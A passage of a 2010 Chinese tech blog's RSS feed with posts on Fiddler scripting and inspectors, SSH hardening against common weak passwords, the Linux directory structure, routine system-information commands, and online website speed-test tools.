<p>Fiddler支持JScript  .NET引擎，它可以允许用户自动地修改Http请求和响应。这个引擎能够在可视化界面修改在FiddlerUI中的Session，可以从列表中提取你 感兴趣的错误，也可以移除你不感兴趣的Session。</p>
<p>以下的示例代码演示当cookie被加载的时候把界面变成紫色。</p>
<p>static function  OnBeforeRequest(oSession:Fiddler.Session)</p>
<p>{</p>
<p>if  (oSession.oRequest.headers.Exists(&#8220;Cookie&#8221;)){</p>
<p>oSession["ui-color"] = &#8220;purple&#8221;;</p>
<p>oSession["ui-bold"] = &#8220;cookie&#8221;;</p>
<p>}</p>
<p>}</p>
<p>通过加入Inspectors来扩展Fiddler</p>
<p>用户可以加入一个Inspector插件对象，来使用.net下的任何语言来编写 Fiddler扩展。RequestInspectors 和  ResponseInspectors提供一个格式规范的，或者是被指定的（用户自定义）Http请求和响应视图。</p>
<p>默认安装中，Fiddler加入了一下的Inspectors：</p>
<p>Request Inspectors</p>
<p>[RW] Headers—Shows request headers and  status.</p>
<p>[RW] TextView—Shows the request body in a  text box. （原始的请求body视图）</p>
<p>[RW] HexView—Shows the request body in a  hexadecimal view. （body的16进制视图）</p>
<p>[RO] XML—Shows the request body as an XML  DOM in a tree view.（以XML方式展示请求）</p>
<p>Response Inspectors</p>
<p>[RW] Transformer—Removes GZip, DEFLATE, and  CHUNKED encodings for easier debugging.</p>
<p>[RW] Headers—Shows response headers and  status.</p>
<p>[RW] TextView—Shows the response body in a  text box.</p>
<p>[RW] HexView—Shows the response body in a  hexadecimal view. （16进制视图）</p>
<p>[RO] ImageView—Shows the response body as  an Image. Supports all .NET image formats.</p>
<p>[RO] XML—Shows the response body as an XML  DOM in a tree view.</p>
<p>[RO] Privacy—Explains the P3P statement in  the response headers, if present.（如果在响应头中有关于隐私策略的说明就展示出来）</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/5989/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/5989/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/5989/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/5989/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/5989/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/5989/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux 上最常用的用户名和密码</title>
		<link>http://www.iwanna.cn/archives/2010/11/23/5903/</link>
		<comments>http://www.iwanna.cn/archives/2010/11/23/5903/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 15:19:29 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5903</guid>
		<description><![CDATA[最近，Dragon Research Group 发布了一个 Linux/SSH 密码认证的报告， 统计了一些最常用的 Linux/SSH 用户名和密码，下图截取自 DRG SSH Username and Password Authentication Tag Clouds，看看有没有自己常用的密码，有的话赶快换吧。 如果对 ssh 还不放心的话可以采用下面几个简单做法来进一步增强 ssh 的安全性，不过要记住的是下面的技巧不能替代一个好的密码： 修改和配置 DenyUsers, AllowUsers, DenyGroups, AllowGroups 只允许相关人员登录 ssh； 生成 public/private key，修改 AuthorizedKeysFile，采用 ssh key 的方式登录 ssh； 禁止 PasswordAuthentication no； 禁止 root 直接登录，PermitRootLogin no； 修改 ssh 的默认端口 22 为其他数字（比如 2012）。 © 我想网 Akon 所有 , [...]]]></description>
			<content:encoded><![CDATA[<p>最近，Dragon Research Group 发布了一个 <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a>/SSH 密码认证的报告， 统计了一些最常用的 <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a>/SSH  用户名和密码，下图截取自 DRG SSH Username and Password Authentication Tag  Clouds，看看有没有自己常用的密码，有的话赶快换吧。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/11/23/133540sWF.jpg" alt="Linux 上最常用的用户名和密码" /></a><br />
<span id="more-5903"></span><br />
<a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/11/23/213540hRk.jpg" alt="Linux 上最常用的用户名和密码" /></a></p>
<p>如果对 ssh 还不放心的话可以采用下面几个简单做法来进一步增强 ssh 的安全性，不过要记住的是下面的技巧不能替代一个好的密码：</p>
<ul>
<li>修改和配置 DenyUsers, AllowUsers, DenyGroups, AllowGroups 只允许相关人员登录 ssh；</li>
<li>生成 public/private key，修改 AuthorizedKeysFile，采用 ssh key 的方式登录 ssh；</li>
<li>禁止 PasswordAuthentication no；</li>
<li>禁止 root 直接登录，PermitRootLogin no；</li>
<li>修改 ssh 的默认端口 22 为其他数字（比如 2012）。</li>
</ul>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/11/23/5903/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/11/23/5903/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/11/23/5903/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/11/23/5903/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/11/23/5903/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/11/23/5903/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux 文件系统的目录结构</title>
		<link>http://www.iwanna.cn/archives/2010/11/23/5900/</link>
		<comments>http://www.iwanna.cn/archives/2010/11/23/5900/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 15:15:56 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5900</guid>
		<description><![CDATA[当我们列/目录时，所看到的/usr、/etc … … /var 等目录是做什么用的，这些目录是不是有些特定的用途。无论哪个哪个版本的Linux系统，都有这些目录，这些目录应该是标准的。当然各个Linux发行版 本也会存在一些小小的差异，但总体来说，还是大体差不多。 Linux发行版本之间的差别其实很少，差别主要表现在系统管理的特色工具以及软件包管理方式的不同，除此之外，没有什么大的差别； 比如Fedora软件包管理工具是rpm，而Slackware是pkgtool 或installpkg等； 言归正传，我们接着说文件系统组织结构。 / Linux文件系统的入口，也是处于最高一级的目录； /bin 基础系统所需要的那些命令位于此目录，也是最小系统所需要的命令；比如 ls、cp、mkdir等命令；功能和/usr/bin类似，这个目录中的文件都是可执行的，普通用户都可以使用的命令。做为基础系统所需要的最基础的命 令就是放在这里。 /boot Linux的内核及引导系统程序所需要的文件，比如 vmlinuz initrd.img 文件都位于这个目录中。在一般情况下，GRUB或LILO系统引导管理器也位于这个目录； /dev 设备文件存储目录，比如声卡、磁盘… … /etc 系统配置文件的所在地，一些服务器的配置文件也在这里；比如用户帐号及密码配置文件； /home 普通用户家目录默认存放目录； /lib 库文件存放目录 /lost+found 在ext2或ext3文件系统中，当系统意外崩溃或机器意外关机，而产生一些文件碎片放在这里。当系统启动的过程中fsck工具会检查这里，并修复已经损 坏的文件系统。 有时系统发生问题，有很多的文件被移到这个目录中，可能会用手工的方式来修复，或移到文件到原来的位置上。 /media 即插即用型存储设备的挂载点自动在这个目录下创建，比如USB盘系统自动挂载后，会在这个目录下产生一个目录 ；CDROM/DVD自动挂载后，也会在这个目录中创建一个目录，类似cdrom 的目录。这个只有在最新的发行套件上才有，比如Fedora Core 4.0 5.0 等。可以参看/etc/fstab的定义； /misc /mnt 这个目录一般是用于存放挂载储存设备的挂载目录的，比如有cdrom 等目录。可以参看/etc/fstab的定义。有时我们可以把让系统开机自动挂载文件系统，把挂载点放在这里也是可以的。主要看/etc/fstab中怎 么定义了；比如光驱可以挂载到/mnt/cdrom 。 /opt 表示的是可选择的意思，有些软件包也会被安装在这里，也就是自定义软件包，比如在Fedora Core 5.0中，OpenOffice就是安装在这里。有些我们自己编译的软件包，就可以安装在这个目录中；通过源码包安装的软件，可以通过 ./configure –prefix=/opt/目录 。 [...]]]></description>
			<content:encoded><![CDATA[<div id="postmessage_370461">当我们列/目录时，所看到的/usr、/etc … … /var  等目录是做什么用的，这些目录是不是有些特定的用途。无论哪个哪个版本的Linux系统，都有这些目录，这些目录应该是标准的。当然各个Linux发行版 本也会存在一些小小的差异，但总体来说，还是大体差不多。</div>
<p>Linux发行版本之间的差别其实很少，差别主要表现在系统管理的特色工具以及软件包管理方式的不同，除此之外，没有什么大的差别；  比如Fedora软件包管理工具是rpm，而Slackware是pkgtool 或installpkg等；</p>
<p>言归正传，我们接着说文件系统组织结构。</p>
<p>/ Linux文件系统的入口，也是处于最高一级的目录；</p>
<p>/bin 基础系统所需要的那些命令位于此目录，也是最小系统所需要的命令；比如  ls、cp、mkdir等命令；功能和/usr/bin类似，这个目录中的文件都是可执行的，普通用户都可以使用的命令。做为基础系统所需要的最基础的命 令就是放在这里。</p>
<p>/boot Linux的内核及引导系统程序所需要的文件，比如 vmlinuz initrd.img  文件都位于这个目录中。在一般情况下，GRUB或LILO系统引导管理器也位于这个目录；<br />
<span id="more-5900"></span><br />
/dev 设备文件存储目录，比如声卡、磁盘… …</p>
<p>/etc 系统配置文件的所在地，一些服务器的配置文件也在这里；比如用户帐号及密码配置文件；</p>
<p>/home 普通用户家目录默认存放目录；</p>
<p>/lib 库文件存放目录</p>
<p>/lost+found  在ext2或ext3文件系统中，当系统意外崩溃或机器意外关机，而产生一些文件碎片放在这里。当系统启动的过程中fsck工具会检查这里，并修复已经损 坏的文件系统。 有时系统发生问题，有很多的文件被移到这个目录中，可能会用手工的方式来修复，或移到文件到原来的位置上。</p>
<p>/media 即插即用型存储设备的挂载点自动在这个目录下创建，比如USB盘系统自动挂载后，会在这个目录下产生一个目录  ；CDROM/DVD自动挂载后，也会在这个目录中创建一个目录，类似cdrom 的目录。这个只有在最新的发行套件上才有，比如Fedora Core  4.0 5.0 等。可以参看/etc/fstab的定义；</p>
<p>/misc</p>
<p>/mnt 这个目录一般是用于存放挂载储存设备的挂载目录的，比如有cdrom  等目录。可以参看/etc/fstab的定义。有时我们可以把让系统开机自动挂载文件系统，把挂载点放在这里也是可以的。主要看/etc/fstab中怎 么定义了；比如光驱可以挂载到/mnt/cdrom 。</p>
<p>/opt 表示的是可选择的意思，有些软件包也会被安装在这里，也就是自定义软件包，比如在Fedora Core  5.0中，OpenOffice就是安装在这里。有些我们自己编译的软件包，就可以安装在这个目录中；通过源码包安装的软件，可以通过  ./configure –prefix=/opt/目录 。</p>
<p>/proc  操作系统运行时，进程（正在运行中的程序）信息及内核信息（比如cpu、硬盘分区、内存信息等）存放在这里。/proc目录伪装的文件系统proc的挂载 目录，proc并不是真正的文件系统，它的定义可以参见 /etc/fstab 。</p>
<p>/root Linux超级权限用户root的家目录；</p>
<p>/sbin  大多是涉及系统管理的命令的存放，是超级权限用户root的可执行命令存放地，普通用户无权限执行这个目录下的命令，这个目录和/usr/sbin; /usr/X11R6/sbin或/usr/local/sbin目录是相似的；  我们记住就行了，凡是目录sbin中包含的都是root权限才能执行的。</p>
<p>/tmp 临时文件目录，有时用户运行程序的时候，会产生临时文件。/tmp就用来存放临时文件的。/var/tmp目录和这个目录相似。</p>
<p>/usr  这个是系统存放程序的目录，比如命令、帮助文件等。这个目录下有很多的文件和目录。当我们安装一个Linux发行版官方提供的软件包时，大多安装在这里。 如果有涉及服务器配置文件的，会把配置文件安装在/etc目录中。/usr目录下包括涉及字体目录/usr/share/fonts ，帮助目录  /usr/share/man或/usr/share/doc，普通用户可执行文件目录/usr/bin 或/usr/local/bin  或/usr/X11R6/bin ，超级权限用户root的可执行命令存放目录，比如 /usr/sbin 或/usr/X11R6/sbin  或/usr/local/sbin 等；还有程序的头文件存放目录/usr/include。</p>
<p>/var 这个目录的内容是经常变动的，看名字就知道，我们可以理解为vary的缩写，/var下有/var/log  这是用来存放系统日志的目录。/var/www目录是定义Apache服务器站点存放目录；/var/lib  用来存放一些库文件，比如MySQL的，以及MySQL数据库的的存放地；</p>
<p>我们再补充一下一些比较重要的目录的用途；</p>
<p>/etc/init.d 这个目录是用来存放系统或服务器以System V模式启动的脚本，这在以System  V模式启动或初始化的系统中常见。比如Fedora/RedHat；<br />
/etc/xinit.d 如果服务器是通过xinetd模式运行的，它的脚本要放在这个目录下。有些系统没有这个目录，  比如Slackware，有些老的版本也没有。在Rehat/Fedora中比较新的版本中存在。</p>
<p>/etc/rc.d 这是Slackware发行版有的一个目录，是BSD方式启动脚本的存放地；比如定义网卡，服务器开启脚本等。</p>
<p>/etc/X11 是X-Windows相关的配置文件存放地；</p>
<p>usr/bin 这个目录是可执行程序的目录，普通用户就有权限执行；  当我们从系统自带的软件包安装一个程序时，他的可执行文件大多会放在这个目录。比如安装gaim软件包时。相似的目录是/usr/local/bin；  有时/usr/bin中的文件是/usr/local/bin的链接文件；</p>
<p>/usr/sbin 这个目录也是可执行程序的目录，但大多存放涉及系统管理的命令。只有root权限才能执行；相似目录是/sbin  或/usr/local/sbin或/usr/X11R6/sbin等；</p>
<p>/usr/local  这个目录一般是用来存放用户自编译安装软件的存放目录；一般是通过源码包安装的软件，如果没有特别指定安装目录的话，一般是安装在这个目录中。这个目录下 面有子目录。自己看看吧。</p>
<p>/usr/lib 和/lib 目录相似，是库文件的存储目录；</p>
<p>/usr/share 系统共用的东西存放地，比如 /usr/share/fonts 是字体目录，是用户都共用的吧。</p>
<p>/usr/share/doc和/usr/share/man帮助文件，也是共用的吧；</p>
<p>/usr/src 是内核源码存放的目录，比如下面有内核源码目录，比如 <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a> 、<a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a>-2.xxx.xx  目录等。有的系统也会把源码软件包安装在这里。比如Fedora/Redhat，当我们安装file.src.rpm的时候，这些软件包会安装在/usr /src/redhat相应的目录中。请参考： 《file.src.rpm 使用方法的简单介绍》 。另外Fedhat 4.0  5.0，他的内核源码包的目录位于/usr/src/kernels目录下的某个目录中（只有安装后才会生成相应目录）；</p>
<p>/var/adm  比如软件包安装信息、日志、管理信息等，在Slackware操作系统中是有这个目录的。在Fedora中好象没有；自己看看吧。</p>
<p>/var/log 系统日志存放，分析日志要看这个目录的东西；</p>
<p>/var/spool 打印机、邮件、代理服务器等假脱机目录；</p>
<p>参考自：<a href="http://www.linuxsir.org/main/node?page=7" target="_blank">http://www.linuxsir.org/main/node?page=7</a></p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/11/23/5900/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/11/23/5900/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/11/23/5900/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/11/23/5900/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/11/23/5900/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/11/23/5900/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下查看系统配置常用命令</title>
		<link>http://www.iwanna.cn/archives/2010/11/23/5894/</link>
		<comments>http://www.iwanna.cn/archives/2010/11/23/5894/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 15:13:41 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5894</guid>
		<description><![CDATA[系统 # uname -a               # 查看内核/操作系统/CPU信息 # head -n 1 /etc/issue   # 查看操作系统版本 # cat /proc/cpuinfo      # 查看CPU信息 # hostname               # 查看计算机名 # lspci -tv              # 列出所有PCI设备 # lsusb -tv              # 列出所有USB设备 # lsmod                  # 列出加载的内核模块 # env                    # 查看环境变量 资源 # free -m                # 查看内存使用量和交换区使用量 # df -h                  # 查看各分区使用情况 # du -sh &#60;目录名&#62;        [...]]]></description>
			<content:encoded><![CDATA[<h3>系统</h3>
<p># uname -a               # 查看内核/操作系统/CPU信息<br />
# head -n 1 /etc/issue   # 查看操作系统版本<br />
# cat /proc/cpuinfo      # 查看CPU信息<br />
# hostname               # 查看计算机名<br />
# lspci -tv              # 列出所有PCI设备<br />
# lsusb -tv              # 列出所有USB设备<br />
# lsmod                  # 列出加载的内核模块<br />
# env                    # 查看环境变量</p>
<h3>资源</h3>
<p># free -m                # 查看内存使用量和交换区使用量<br />
# df -h                  # 查看各分区使用情况<br />
# du -sh &lt;目录名&gt;        # 查看指定目录的大小<br />
# grep MemTotal /proc/meminfo   # 查看内存总量<br />
# grep MemFree /proc/meminfo    # 查看空闲内存量<br />
# uptime                 # 查看系统运行时间、用户数、负载<br />
# cat /proc/loadavg      # 查看系统负载<br />
<span id="more-5894"></span></p>
<h3>磁盘和分区</h3>
<p># mount | column -t      # 查看挂接的分区状态<br />
# fdisk -l               # 查看所有分区<br />
# swapon -s              # 查看所有交换分区<br />
# hdparm -i /dev/hda     # 查看磁盘参数(仅适用于IDE设备)<br />
# dmesg | grep IDE       # 查看启动时IDE设备检测状况</p>
<h3>网络</h3>
<p># ifconfig               # 查看所有网络接口的属性<br />
# iptables -L            # 查看防火墙设置<br />
# route -n               # 查看路由表<br />
# netstat -lntp          # 查看所有监听端口<br />
# netstat -antp          # 查看所有已经建立的连接<br />
# netstat -s             # 查看网络统计信息</p>
<h3>进程</h3>
<p># ps -ef                 # 查看所有进程<br />
# top                    # 实时显示进程状态</p>
<h3>用户</h3>
<p># w                      # 查看活动用户<br />
# id &lt;用户名&gt;            # 查看指定用户信息<br />
# last                   # 查看用户登录日志<br />
# cut -d: -f1 /etc/passwd   # 查看系统所有用户<br />
# cut -d: -f1 /etc/group    # 查看系统所有组<br />
# crontab -l             # 查看当前用户的计划任务</p>
<h3>服务</h3>
<p># chkconfig –list       # 列出所有系统服务<br />
# chkconfig –list | grep on    # 列出所有启动的系统服务</p>
<h3>程序</h3>
<p># rpm -qa                # 查看所有安装的软件包</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/11/23/5894/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/11/23/5894/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/11/23/5894/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/11/23/5894/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/11/23/5894/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/11/23/5894/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>12款在线网站速度和性能测试工具</title>
		<link>http://www.iwanna.cn/archives/2010/11/13/5761/</link>
		<comments>http://www.iwanna.cn/archives/2010/11/13/5761/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 12:27:01 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Tool]]></category>
		<category><![CDATA[Website]]></category>
		<category><![CDATA[站长工具]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5761</guid>
		<description><![CDATA[网站的访问速度对于一个网站非常重要，没有一个人会喜欢速度慢的网站。下面是12款在线测试网站的访问速度和性能的工具， 在优化网站的时候很有用。 Pingdom 测试网站每个元素的加载速度，比如html、图片、JS文件等等。 GTmetrix GTmetrix集合了Yslow和Google Page Speed的功能，Yslow和Google Page Speed是两款FireFox的插件，但是这个在线应用可以使用任何的浏览器。它会给出你网站的评分并指出哪些是需要改进的。 Light Speed Now 测试网站的速度，然后把报告发送到你的邮箱。 Load Impact Load Impact可以说是一个负载测试，看看你的网站能够扛得住多少的流量。免费的用户只能模拟50个用户同时测试，升级到付费的用户可以模拟不限用户的负载 测试。 Site Perf Site Perf可以模拟浏览器进行测试，可以测试各个元素的下载速度。还可以测试每个需要解析的主机的连接时间。 WebWait 测试访问速度。 Gomez Networks Gomez Networks测试网站外部元素的加载时间，比如CSS、图片、JS等。 Octa Gate Octa Gate测试每个元素的加载时间。 Webslug 对比两 个网站的加载速度。 WebToolHub 测试不同网络连接下的网站的加载速度。 iWebTools iWebTools 可以最多同时测试10个页面的大小和加载速度。 SearchMetrics 测试网站的外部元素的加载速度，还可以测试在不同的网络带宽下的连接速度。 © 我想网 Akon 所有 , 2010. &#124; 永久链接 &#124; 没有评论 &#124; 提交到 [...]]]></description>
			<content:encoded><![CDATA[<p>网站的访问速度对于一个网站非常重要，没有一个人会喜欢速度慢的网站。下面是12款在线测试网站的访问速度和性能的工具， 在优化网站的时候很有用。</p>
<p><a href="http://tools.pingdom.com/"><strong>Pingdom</strong></a></p>
<p>测试网站每个元素的加载速度，比如html、图片、JS文件等等。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/pingdom.jpg"><img title="pingdom" src="http://images.uheed.com/iwanna/2010/11/13/pingdom.jpg" border="0" alt="pingdom" width="504" height="266" /></a><br />
<span id="more-5761"></span><br />
<a href="http://gtmetrix.com/"><strong>GTmetrix</strong></a></p>
<p>GTmetrix集合了Yslow和Google Page Speed的功能，Yslow和Google Page  Speed是两款FireFox的插件，但是这个在线应用可以使用任何的浏览器。它会给出你网站的评分并指出哪些是需要改进的。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/GTmetrix.jpg"><img title="GTmetrix" src="http://images.uheed.com/iwanna/2010/11/13/GTmetrix.jpg" border="0" alt="GTmetrix" width="504" height="262" /></a></p>
<p><a href="http://lightspeednow.com/"><strong>Light Speed Now</strong></a></p>
<p>测试网站的速度，然后把报告发送到你的邮箱。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/lightspeednow.jpg"><img title="lightspeednow" src="http://images.uheed.com/iwanna/2010/11/13/lightspeednow.jpg" border="0" alt="lightspeednow" width="504" height="366" /></a></p>
<p><a href="http://loadimpact.com/"><strong>Load Impact</strong></a></p>
<p>Load   Impact可以说是一个负载测试，看看你的网站能够扛得住多少的流量。免费的用户只能模拟50个用户同时测试，升级到付费的用户可以模拟不限用户的负载 测试。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/loadimpact.jpg"><img title="loadimpact" src="http://images.uheed.com/iwanna/2010/11/13/loadimpact.jpg" border="0" alt="loadimpact" width="504" height="346" /></a></p>
<p><a href="http://site-perf.com/"><strong>Site Perf</strong></a></p>
<p>Site  Perf可以模拟浏览器进行测试，可以测试各个元素的下载速度。还可以测试每个需要解析的主机的连接时间。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/siteperf.jpg"><img title="site-perf" src="http://images.uheed.com/iwanna/2010/11/13/siteperf.jpg" border="0" alt="site-perf" width="504" height="244" /></a></p>
<p><a href="http://webwait.com/"><strong>WebWait</strong></a></p>
<p>测试访问速度。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/webwait.jpg"><img title="webwait" src="http://images.uheed.com/iwanna/2010/11/13/webwait.jpg" border="0" alt="webwait" width="504" height="333" /></a></p>
<p><a href="http://www.gomeznetworks.com/custom/instant_test.html"><strong>Gomez  Networks</strong></a></p>
<p>Gomez Networks测试网站外部元素的加载时间，比如CSS、图片、JS等。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/gomez.jpg"><img title="gomez" src="http://images.uheed.com/iwanna/2010/11/13/gomez.jpg" border="0" alt="gomez" width="504" height="678" /></a></p>
<p><a href="http://www.octagate.com/service/SiteTimer/"><strong>Octa Gate</strong></a></p>
<p>Octa Gate测试每个元素的加载时间。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/octagate.jpg"><img title="octa-gate" src="http://images.uheed.com/iwanna/2010/11/13/octagate.jpg" border="0" alt="octa-gate" width="504" height="308" /></a></p>
<p><a href="http://www.webslug.info/"><strong>Webslug</strong></a></p>
<p>对比两 个网站的加载速度。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/webslug.jpg"><img title="webslug" src="http://images.uheed.com/iwanna/2010/11/13/webslug.jpg" border="0" alt="webslug" width="504" height="321" /></a></p>
<p><a href="http://www.webtoolhub.com/tn561353-website-speed-test.aspx"><strong>WebToolHub</strong></a></p>
<p>测试不同网络连接下的网站的加载速度。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/webtoolhub.jpg"><img title="webtoolhub" src="http://images.uheed.com/iwanna/2010/11/13/webtoolhub.jpg" border="0" alt="webtoolhub" width="504" height="271" /></a></p>
<p><a href="http://www.iwebtool.com/"><strong>iWebTools</strong></a></p>
<p>iWebTools 可以最多同时测试10个页面的大小和加载速度。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/iwebtools.jpg"><img title="iwebtools" src="http://images.uheed.com/iwanna/2010/11/13/iwebtools.jpg" border="0" alt="iwebtools" width="504" height="540" /></a></p>
<p><a href="http://rapid.searchmetrics.com/en/seo-tools/site-analysis/website-speed-test,46.html"><strong>SearchMetrics</strong></a></p>
<p>测试网站的外部元素的加载速度，还可以测试在不同的网络带宽下的连接速度。</p>
<p><a href="http://images.uheed.com/iwanna/2010/11/13/searchmetrics.jpg"><img title="searchmetrics" src="http://images.uheed.com/iwanna/2010/11/13/searchmetrics.jpg" border="0" alt="searchmetrics" width="504" height="321" /></a></p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/11/13/5761/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/11/13/5761/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/11/13/5761/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/11/13/5761/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/11/13/5761/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
